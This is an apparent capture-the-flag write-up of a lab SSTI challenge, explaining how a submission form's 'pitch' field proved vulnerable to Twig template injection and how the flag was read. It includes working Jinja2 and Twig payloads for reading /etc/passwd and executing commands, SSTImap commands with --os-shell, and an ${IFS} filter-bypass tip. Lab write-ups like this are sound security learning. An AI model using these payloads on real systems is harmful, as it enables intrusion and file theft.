Webverselabs Foundry Comics Challenge SSTI
Scenario :
Foundry Comics is a three-person riso-print outfit in Gowanus that publishes single-issue runs by emerging cartoonists. In 2022 they picked up a defunct submission portal off another small press that was winding down — quicker than rebuilding from scratch. The portal works, but the migration was never finished: returning creators get routed through whichever bucket the cookie says they belong to, and the two buckets were never fully merged.
Solution :
First we start by navigating the application just like a normal user , to try and check different endpoints , functionalities , and just the normal workflow of the web application .
I tried FUZZING for additional endpoints , but didn’t get any additional ones , Looking at the different endpoints :
/Catalog :
This is just a collection of images submitted by the users .
If we check each image , we see that we can add it to our cart , but that doesn’t lead us anywhere .
The /about page isn’t useful either , just a bunch of pictures with a description for each one .
But we see that we have the possibility to Submit our own Work in the /submit section .
I assume our submition will be sent as a POST request to the server , let’s try and do a normal submition just to see how it would look like .
Now before it gets added , we see that we have the option to privew our submition :
If we check Burp’s History :
It is indeed a POST Request , notice how everything we entered got rendered back to us , this is a huge indicator that there might be an SSTI vulnerability here .
I already have a detailed section on my Web_App methdology for SSTI injections that i will be following :
1
https://elmehdilaassiri.github.io/posts/web-app-pentesting-methodology/#ssti-
1
2
3
4
5
# Detection payload:
${7*7}
{{7*7}}
# Follow this graph to identify the engine:
# https://swisskyrepo.github.io/PayloadsAllTheThings/Server%20Side%20Template%20Injection/
Exploitation : Jinja2
1
2
3
4
5
6
7
8
9
# 1/ Information Disclosure :
{{ config.items() }}
{{ self.__init__.__globals__.__builtins__ }}
# 2/ LFI :
{{ self.__init__.__globals__.__builtins__.open("/etc/passwd").read() }}
# 3/ RCE :
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
Exploitation : Twig
1
2
3
4
5
6
7
8
# 1/ Information Disclosure :
{{ _self }}
# 2/ LFI :
{{ "/etc/passwd"|file_excerpt(1,-1) }}
# 3/ RCE :
{{ ['id'] | filter('system') }}
Automation :
1
2
3
4
5
6
7
8
git clone https://github.com/vladko312/SSTImap
cd SSTImap
pip3 install -r requirements.txt
python3 sstimap.py
python3 sstimap.py -u http://172.17.0.2/index.php?name=test
python3 sstimap.py -u http://172.17.0.2/index.php?name=test -D '/etc/passwd' './passwd'
python3 sstimap.py -u http://172.17.0.2/index.php?name=test -S id
python3 sstimap.py -u http://172.17.0.2/index.php?name=test --os-shell
Now first i injected a simple payload 7*7 and based on the response we would know wether or not our code was executed and if we have an SSTI or not , if we get 49 rendered to us this means we got our code executed .
After that based on the Response we get from the server , we would know which Engine is being used . We will follow this diagram from Payload All the Things .
Now if we go back to our Request and add the payload :
We see that our code was acutally executed , and we get the response on the pitch section whih confirms the pitch parameter is vlnerable to an SSTI .
Now we can move to see which engine is being used , to save time i injected the payloads for Jinja2 first , if it won’t work then that will confirm it is Twig .
Injecting Jinja payloads doesn’t return anything which tells us it isn’t the engine that is being used here .
Let’s try a simple Information Disclosure payload for Twig :
Perfect , this confirms that it is Twig , from here we can use the LFI payload to read the flag , it is always located in /flag.txt .
The LFI payload didn’t work for me so i decided to use our RCE to Read the flag .
Just make sure you don’t use space , use ${IFS} instead , or any other way to bypass space filters otherwise it won’t work (and ofc URL encode everything) .
That was all for this challenge , see you in the next one .